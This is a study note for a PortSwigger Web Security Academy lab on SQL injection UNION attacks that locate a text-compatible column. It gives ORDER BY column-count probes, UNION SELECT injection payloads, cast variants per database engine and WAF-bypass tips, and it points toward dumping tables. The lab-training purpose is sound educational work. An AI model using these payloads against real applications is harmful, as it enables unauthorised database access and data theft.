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# UNION Attack to Find a Text-Compatible Column

UNION Attack to Find a Text-Compatible Column notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.

### SQL Injection UNION Attack, Finding a Column Containing Text

**Objective:** insert a `UNION` line containing the test value (`PjNkGQ`) to identify which column accepts strings, then extract text data.

#### (1) Confirm the Number of Columns (if Not Already Known)

* Test with `ORDER BY` incremental:

  ```sql
  ' ORDER BY 1-- -
  ' ORDER BY 2-- -
  ' ORDER BY 3-- -
  ```

When `ORDER BY N` causes an error, the number of columns is `< N`.

#### 2) Inject a `UNION` Row Containing the Given Value

* Example for **3 columns**:

  ```sql
  ' UNION SELECT NULL, 'PjNkGQ', NULL-- -
  ```

— if the answer shows `PjNkGQ`, the **2nd column** is text compatible.

#### 3) Variants to Locate Visible Column

* Test the constant in each position:

  ```sql
  ' UNION SELECT 'PjNkGQ', NULL, NULL-- -
  ' UNION SELECT NULL, NULL, 'PjNkGQ'-- -
  ```
* Use separate constants to map visible columns:

  ```sql
  ' UNION SELECT 'A','B','C'-- -
  ```

#### (4) Manage Type Errors

* If `UNION` fails for type incompatibility, use `NULL` for non-text columns or cast the constant according to the GBD:
* **MySQL / PostgreSQL**:

  ````
  ```sql
  ' UNION SELECT NULL, CAST('PjNkGQ' AS CHAR), NULL-- -
  ```
  ````

  * **MSSQL** :

    ```sql
    ' UNION SELECT NULL, CAST('PjNkGQ' AS VARCHAR(8000)), NULL-- -
    ```
  * **Oracle** :

    ```sql
    ' UNION SELECT NULL, TO_CHAR('PjNkGQ'), NULL-- -
    ```
* If some columns require numerical types, leave `NULL` for them and place the text only in the candidate column.

#### 5) If a WAF / Filter Blocks `UNION`

* Vary comment / spacing: `-- -`, `--`, `/*... */`.
* Build the chain via functions (e.g. `CONCAT('P','jNkGQ')`) to bypass strict normalization.

#### (6) Expected Result

* The answer contains `PjNkGQ` → text column identified. From there build `UNION SELECT` for enumeration (tables/columns/dumps).


---

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